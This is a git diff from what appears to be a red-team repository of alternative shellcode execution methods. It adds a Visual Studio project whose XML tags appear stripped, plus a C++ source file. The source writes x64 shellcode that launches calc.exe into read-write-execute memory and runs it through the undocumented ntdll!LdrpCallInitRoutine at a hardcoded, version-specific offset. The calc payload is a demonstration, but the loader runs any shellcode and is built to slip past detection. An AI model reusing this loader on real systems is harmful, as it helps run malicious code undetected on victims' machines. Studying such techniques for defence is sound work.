diff --git a/AlternativeShellcodeExec.sln b/AlternativeShellcodeExec.sln
index 31f9a07..c1d8717 100644
--- a/AlternativeShellcodeExec.sln
+++ b/AlternativeShellcodeExec.sln
@@ -53,6 +53,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FiberContextEdit", "FiberCo
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FlsAlloc", "FlsAlloc\FlsAlloc.vcxproj", "{784E8C7B-CCB3-40CF-8FEF-7D01A563CEE5}"
EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "LdrpCallInitRoutine", "LdrpCallInitRoutine\LdrpCallInitRoutine.vcxproj", "{6C619AA0-A97B-441D-8A7C-EE86BFEB7D62}"
+EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
@@ -261,6 +263,14 @@ Global
{784E8C7B-CCB3-40CF-8FEF-7D01A563CEE5}.Release|x64.Build.0 = Release|x64
{784E8C7B-CCB3-40CF-8FEF-7D01A563CEE5}.Release|x86.ActiveCfg = Release|Win32
{784E8C7B-CCB3-40CF-8FEF-7D01A563CEE5}.Release|x86.Build.0 = Release|Win32
+ {6C619AA0-A97B-441D-8A7C-EE86BFEB7D62}.Debug|x64.ActiveCfg = Debug|x64
+ {6C619AA0-A97B-441D-8A7C-EE86BFEB7D62}.Debug|x64.Build.0 = Debug|x64
+ {6C619AA0-A97B-441D-8A7C-EE86BFEB7D62}.Debug|x86.ActiveCfg = Debug|Win32
+ {6C619AA0-A97B-441D-8A7C-EE86BFEB7D62}.Debug|x86.Build.0 = Debug|Win32
+ {6C619AA0-A97B-441D-8A7C-EE86BFEB7D62}.Release|x64.ActiveCfg = Release|x64
+ {6C619AA0-A97B-441D-8A7C-EE86BFEB7D62}.Release|x64.Build.0 = Release|x64
+ {6C619AA0-A97B-441D-8A7C-EE86BFEB7D62}.Release|x86.ActiveCfg = Release|Win32
+ {6C619AA0-A97B-441D-8A7C-EE86BFEB7D62}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
diff --git a/LdrpCallInitRoutine/LdrpCallInitRoutine.vcxproj b/LdrpCallInitRoutine/LdrpCallInitRoutine.vcxproj
new file mode 100644
index 0000000..dbb0e37
--- /dev/null
+++ b/LdrpCallInitRoutine/LdrpCallInitRoutine.vcxproj
@@ -0,0 +1,147 @@
+
+
+
+
+ Debug
+ Win32
+
+
+ Release
+ Win32
+
+
+ Debug
+ x64
+
+
+ Release
+ x64
+
+
+
+ 16.0
+ Win32Proj
+ {6c619aa0-a97b-441d-8a7c-ee86bfeb7d62}
+ LdrpCallInitRoutine
+ 10.0
+
+
+
+ Application
+ true
+ v142
+ Unicode
+
+
+ Application
+ false
+ v142
+ true
+ Unicode
+
+
+ Application
+ true
+ v142
+ Unicode
+
+
+ Application
+ false
+ v142
+ true
+ Unicode
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ true
+
+
+ false
+
+
+ true
+
+
+ false
+
+
+
+ Level3
+ true
+ WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+ true
+ true
+
+
+
+
+ Level3
+ true
+ _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+ true
+ true
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/LdrpCallInitRoutine/LdrpCallInitRoutine.vcxproj.filters b/LdrpCallInitRoutine/LdrpCallInitRoutine.vcxproj.filters
new file mode 100644
index 0000000..3e7e62e
--- /dev/null
+++ b/LdrpCallInitRoutine/LdrpCallInitRoutine.vcxproj.filters
@@ -0,0 +1,22 @@
+
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
+
+
+ {93995380-89BD-4b04-88EB-625FBE52EBFB}
+ h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
+
+
+ {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
+ rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
+
+
+
+
+ Source Files
+
+
+
\ No newline at end of file
diff --git a/LdrpCallInitRoutine/Source.cpp b/LdrpCallInitRoutine/Source.cpp
new file mode 100644
index 0000000..e80f0e4
--- /dev/null
+++ b/LdrpCallInitRoutine/Source.cpp
@@ -0,0 +1,48 @@
+#include
+#include
+
+// alfarom256 calc shellcode
+unsigned char op[] =
+"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
+"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
+"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
+"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
+"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
+"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
+"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
+"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
+"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
+"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
+"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
+"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
+"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
+"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
+"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
+"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
+"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
+"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
+"\x63\x2e\x65\x78\x65\x00";
+
+
+typedef size_t(__fastcall* lpCallInitRoutine)(size_t, size_t, size_t);
+typedef char(__fastcall* pLdrpCallInitRoutine)(lpCallInitRoutine, size_t, unsigned int, size_t);
+
+#define NTDLL_LDRPCALLINITRT_OFFSET 0x000199bc
+// ? ntdll!LdrpCallInitRoutine - ntdll
+
+int main() {
+ HANDLE hProcess = ::GetCurrentProcess();
+
+ LPVOID address = ::VirtualAlloc(NULL, sizeof(op), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+ if (!address) { return -1; }
+ memcpy(address, &op[0], sizeof(op));
+
+ uintptr_t hNtdll = (uintptr_t)GetModuleHandleA("ntdll");
+ if (!hNtdll) { return -1; }
+
+ // todo: find a better way to get LdrpCallInitRoutine. I'm lazy right now.
+ uintptr_t func = hNtdll + NTDLL_LDRPCALLINITRT_OFFSET;
+ pLdrpCallInitRoutine LdrpCallInitRoutine = (pLdrpCallInitRoutine)func;
+ LdrpCallInitRoutine((lpCallInitRoutine)address, 0, 0, 0);
+
+}
\ No newline at end of file